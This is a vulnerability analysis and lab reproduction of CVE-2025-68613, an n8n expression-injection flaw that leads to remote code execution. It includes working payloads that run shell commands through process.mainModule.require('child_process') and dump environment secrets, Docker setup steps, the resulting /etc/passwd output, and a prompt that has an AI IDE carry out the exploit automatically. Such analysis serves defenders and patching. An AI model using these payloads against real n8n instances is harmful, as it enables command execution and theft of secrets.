CVE-2025-68613: Analysis and Reproduction of n8n Expression Injection Leading to Remote Code Execution
📋 Overview
n8n is a popular open-source workflow automation platform and a self-hostable alternative to services such as Zapier. In January 2025, several high-severity security vulnerabilities were disclosed in the project. The most serious, CVE-2025-68613, allows an attacker with workflow-editing privileges to execute arbitrary system commands through expression injection.
Vulnerability information
| Item | Details |
|---|---|
| CVE ID | CVE-2025-68613 |
| CVSS score | 9.9–10.0 (Critical) |
| Affected versions | n8n < 1.120.4, < 1.121.1, < 1.122.0 |
| Vulnerability type | Expression injection → remote code execution (RCE) |
| Prerequisite | Workflow-editing privileges are required |
| Fixed versions | n8n >= 1.120.4, >= 1.121.1, >= 1.122.0 |
Project URL: https://github.com/n8n-io/n8n
Vulnerability analysis
Obtaining the source code
First, clone the vulnerable version of n8n:
# 克隆仓库
git clone https://github.com/n8n-io/n8n.git
cd n8n
# 切换到易受攻击版本
git checkout tags/n8n@1.120.0
Core vulnerable code
packages/workflow/src/expression.ts
This method parses and evaluates expressions in n8n workflows (code wrapped in {{ }}).
resolveSimpleParameterValue(
parameterValue: NodeParameterValue,
siblingParameters: INodeParameters,
runExecutionData: IRunExecutionData | null,
runIndex: number,
itemIndex: number,
activeNodeName: string,
connectionInputData: INodeExecutionData[],
mode: WorkflowExecuteMode,
additionalKeys: IWorkflowDataProxyAdditionalKeys,
executeData?: IExecuteData,
returnObjectAsString = false,
selfData = {},
contextNodeName?: string,
): NodeParameterValue | INodeParameters | NodeParameterValue[] | INodeParameters[] {
// 检查是否为表达式
if (!isExpression(parameterValue)) {
return parameterValue;
}
// 移除 = 符号
parameterValue = parameterValue.substr(1);
// 创建数据代理 - 构建表达式执行上下文
const dataProxy = new WorkflowDataProxy(
this.workflow,
runExecutionData,
runIndex,
itemIndex,
activeNodeName,
connectionInputData,
siblingParameters,
mode,
additionalKeys,
executeData,
-1,
selfData,
contextNodeName,
);
const data = dataProxy.getDataProxy();
// 漏洞点:不安全地暴露 process 对象
// Support only a subset of process properties
data.process =
typeof process !== 'undefined'
? {
arch: process.arch,
env: process.env.N8N_BLOCK_ENV_ACCESS_IN_NODE === 'true' ? {} : process.env,
platform: process.platform,
pid: process.pid,
ppid: process.ppid,
release: process.release,
version: process.pid,
versions: process.versions,
}
: {};
Expression.initializeGlobalContext(data);
// 添加表达式扩展
data.extend = extend;
data.extendOptional = extendOptional;
data[sanitizerName] = sanitizer;
Object.assign(data, extendedFunctions);
// 构造函数检测(可被绕过)
const constructorValidation = new RegExp(/\.\s*constructor/gm);
if (parameterValue.match(constructorValidation)) {
throw new ExpressionError('Expression contains invalid constructor function call', {
causeDetailed: 'Constructor override attempt is not allowed due to security concerns',
runIndex,
itemIndex,
});
}
// 执行表达式
const extendedExpression = extendSyntax(parameterValue);
const returnValue = this.renderExpression(extendedExpression, data);
if (typeof returnValue === 'function') {
if (returnValue.name === 'DateTime')
throw new ApplicationError('this is a DateTime, please access its methods');
throw new ApplicationError('this is a function, please add ()');
} else if (typeof returnValue === 'string') {
return returnValue;
} else if (returnValue !== null && typeof returnValue === 'object') {
if (returnObjectAsString) {
return this.convertObjectValueToString(returnValue);
}
}
return returnValue;
}
Root cause
The core issue is the exposure of the process object on lines 68–81:
// CVE-2025-68613 核心漏洞代码
data.process =
typeof process !== 'undefined'
? {
arch: process.arch,
env: process.env.N8N_BLOCK_ENV_ACCESS_IN_NODE === 'true' ? {} : process.env,
platform: process.platform,
pid: process.pid,
ppid: process.ppid,
release: process.release,
version: process.pid,
versions: process.versions,
}
: {};
Summary of the issues:
-
Shallow-copy issue: The code creates a new object containing some properties of
process, but the object still retains a prototype-chain reference to the originalprocessobject. -
Prototype-chain exposure: Although only some properties are exposed, an attacker can access the complete
processobject through the prototype chain:data.process → Object.prototype → process.mainModule → require() -
Lack of prototype isolation:
Object.create(null)is not used to create an object without a prototype, making prototype-pollution attacks possible. -
thiscontext exposure: Usingthisin an expression provides access to the entire data-context object, includingprocess.
Analysis of existing protections
n8n implements multiple layers of protection in Expression.ts, but all can be bypassed:
Protection 1: Global-object allowlist
// Prevent Remote Code Execution
data.eval = {};
data.uneval = {};
data.setTimeout = {};
data.setInterval = {};
data.Function = {};
// Prevent requests
data.fetch = {};
data.XMLHttpRequest = {};
// Prevent control abstraction
data.Promise = {};
data.Generator = {};
data.AsyncFunction = {};
// Prevent Reflection
data.Reflect = {};
data.Proxy = {};
Access through the this.process.mainModule.require() prototype chain does not trigger blacklist detection.
Protection 2: Constructor detection (lines 93–100)
const constructorValidation = new RegExp(/\.\s*constructor/gm);
if (parameterValue.match(constructorValidation)) {
throw new ExpressionError('Expression contains invalid constructor function call', {
causeDetailed: 'Constructor override attempt is not allowed due to security concerns',
});
}
This is mainly intended to prevent prototype pollution through the .constructor keyword. Using this.process.mainModule.require does not contain the string “constructor” and can bypass the regular-expression check.
Protection 3: Environment-variable access control (disabled by default)
env: process.env.N8N_BLOCK_ENV_ACCESS_IN_NODE === 'true' ? {} : process.env
Protection summary
| Protection mechanism | Bypassable | Bypass method |
|---|---|---|
| Global-object blacklist | Yes | Indirect access through the prototype chain |
| Constructor detection | Yes | Use a path that does not contain “constructor” |
| Environment-variable control | Yes | mainModule.require() remains accessible |
Constructing attack payloads
Basic payload
{{ (function(){
return this.process.mainModule.require('child_process').execSync('cat /etc/passwd').toString()
})() }}
Other payload examples
1. Run the whoami command
{{ (function(){
return this.process.mainModule.require('child_process').execSync('whoami').toString()
})() }}
2. List directory contents
{{ (function(){
return this.process.mainModule.require('child_process').execSync('ls -la /').toString()
})() }}
3. Read environment variables (to obtain sensitive configuration)
{{ (function(){
return JSON.stringify(this.process.env, null, 2)
})() }}
4. Read the filesystem (Windows)
{{ (function(){
const fs = this.process.mainModule.require('fs');
return fs.readFileSync('C:\\Windows\\System32\\drivers\\etc\\hosts', 'utf8');
})() }}
Vulnerability reproduction
Setting up the environment
Method 1: Docker run
# 拉取易受攻击的版本
docker pull n8nio/n8n:1.120.0
# 启动容器
docker run -d \
--name n8n-vulnerable \
-p 5678:5678 \
-e N8N_BASIC_AUTH_ACTIVE=true \
-e N8N_BASIC_AUTH_USER=admin \
-e N8N_BASIC_AUTH_PASSWORD=admin123 \
n8nio/n8n:1.120.0
# 查看日志
docker logs n8n-vulnerable -f
Method 2: Docker Compose
Create docker-compose.yml:
version: '3.8'
services:
n8n-vulnerable:
image: n8nio/n8n:1.120.0 # 易受攻击版本
container_name: cve-2025-68613-n8n
ports:
- "5678:5678"
environment:
# 基本认证
- N8N_BASIC_AUTH_ACTIVE=true
- N8N_BASIC_AUTH_USER=admin
- N8N_BASIC_AUTH_PASSWORD=admin123
# 服务器配置
- N8N_HOST=localhost
- N8N_PORT=5678
- N8N_PROTOCOL=http
# 执行模式
- EXECUTIONS_MODE=main
volumes:
- n8n_data:/home/node/.n8n
restart: unless-stopped
volumes:
n8n_data:
Start the service:
# 启动
docker-compose up -d
# 查看日志
docker-compose logs -f
# 停止
docker-compose down
# 完全清理(删除数据)
docker-compose down -v
Visit: http://localhost:5678
Exploitation steps
Step 1: Log in to n8n
Log in with the credentials we registered:
- Username:
admin@admin.com - Password:
admin123

Step 2: Create a workflow
Click “Add workflow” or the “Create workflow” button on the home page to create a new workflow.

Step 3: Add nodes
The workflow needs two nodes:
-
Manual Trigger — a manual trigger node
-
Edit Fields (Set) — a field-setting node (used to inject the payload)

Step 4: Inject the RCE payload
Configure the Edit Fields (Set) node:
- Field name (
Name): Enterresult. - Field value (
Value): Click the fx button on the right to switch to expression mode, then enter the following payload:
{{ (function(){
return this.process.mainModule.require('child_process').execSync('cat /etc/passwd').toString()
})() }}

Step 5: Execute the workflow
Click “Test workflow” or “Execute Workflow” in the upper-right corner.
Step 6: Verify the result
After successful execution, the output panel displays the complete contents of the /etc/passwd file:
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
node:x:1000:1000::/home/node:/bin/bash

✅ Vulnerability reproduced successfully! A system command was executed inside the n8n container, and a sensitive file was read.
Automated reproduction with Antigravity AI
Google’s newly released Antigravity AI IDE has powerful browser-automation capabilities and can use natural-language instructions to complete the entire vulnerability-reproduction process automatically.
Automated reproduction steps
Use the following Antigravity prompt: (this is a mandatory requirement)
With its search capability, Antigravity can actually gather vulnerability information automatically and attempt exploitation.
帮我复现 n8n CVE-2025-68613 漏洞,详细步骤如下:
1. 在浏览器中打开 http://localhost:5678
2. 使用 admin/admin123 登录
3. 创建新工作流
4. 添加 Manual Trigger 节点
5. 添加 Edit Fields (Set) 节点并连接
6. 在 Edit Fields 节点中:
- 字段名: result
- 切换到表达式模式
- 注入 Payload
7. 执行工作流
8. 验证输出结果并截图
9. 生成完整的复现视频
Antigravity will complete the entire process automatically.
Demo video
The complete automated reproduction process has been recorded as a video:
Bilibili video link: n8n CVE-2025-68613 Automated Vulnerability Reproduction Demo
Fix analysis and recommendations
Official fix (v1.122.0)
The official fix uses AST static analysis to prevent access to dangerous prototype-chain properties.
Core fix code
1. Dangerous-property blacklist (packages/workflow/src/utils.ts)
const unsafeObjectProperties = new Set([
'__proto__',
'prototype',
'constructor',
'getPrototypeOf'
]);
export function isSafeObjectProperty(property: string) {
return !unsafeObjectProperties.has(property);
}
2. AST prototype-chain detector (packages/workflow/src/expression-sandboxing.ts)
export const PrototypeSanitizer: ASTAfterHook = (ast, dataNode) => {
astVisit(ast, {
visitMemberExpression(path) {
const node = path.node;
// 检查静态属性: obj.property
if (!node.computed) {
if (!isSafeObjectProperty(node.property.name)) {
throw new ExpressionError(
`Cannot access "${node.property.name}" due to security concerns`
);
}
}
// 检查字符串字面量: obj['property']
else if (node.property.type === 'StringLiteral') {
if (!isSafeObjectProperty(node.property.value)) {
throw new ExpressionError(
`Cannot access "${node.property.value}" due to security concerns`
);
}
}
// 动态属性包装为运行时检查: obj[expr] → obj[sanitizer(expr)]
else {
path.replace(
b.memberExpression(node.object,
b.callExpression(sanitizerIdentifier, [node.property]),
true
)
);
}
},
});
};
3. Tournament sandbox engine (packages/workflow/src/expression-evaluator-proxy.ts)
const tournamentEvaluator = new Tournament(errorHandler, undefined, undefined, {
before: [FunctionThisSanitizer], // 清理 this 绑定(严格模式)
after: [PrototypeSanitizer, DollarSignValidator] // 检查危险属性
});
Fix mechanism
-
FunctionThisSanitizer: Inserts
'use strict'into the IIFE so thatthisbecomesundefined. -
PrototypeSanitizer: Traverses the AST before execution and blocks access to prototype-chain properties.
-
Runtime checks: Wraps dynamic property access in a
sanitizer()call.
Why the original payload this.process.mainModule is blocked:
- In strict mode,
thisisundefined. - Even if bypassed, accesses such as
prototype/constructorare blocked by AST detection.
Upgrade recommendations
npm update n8n -g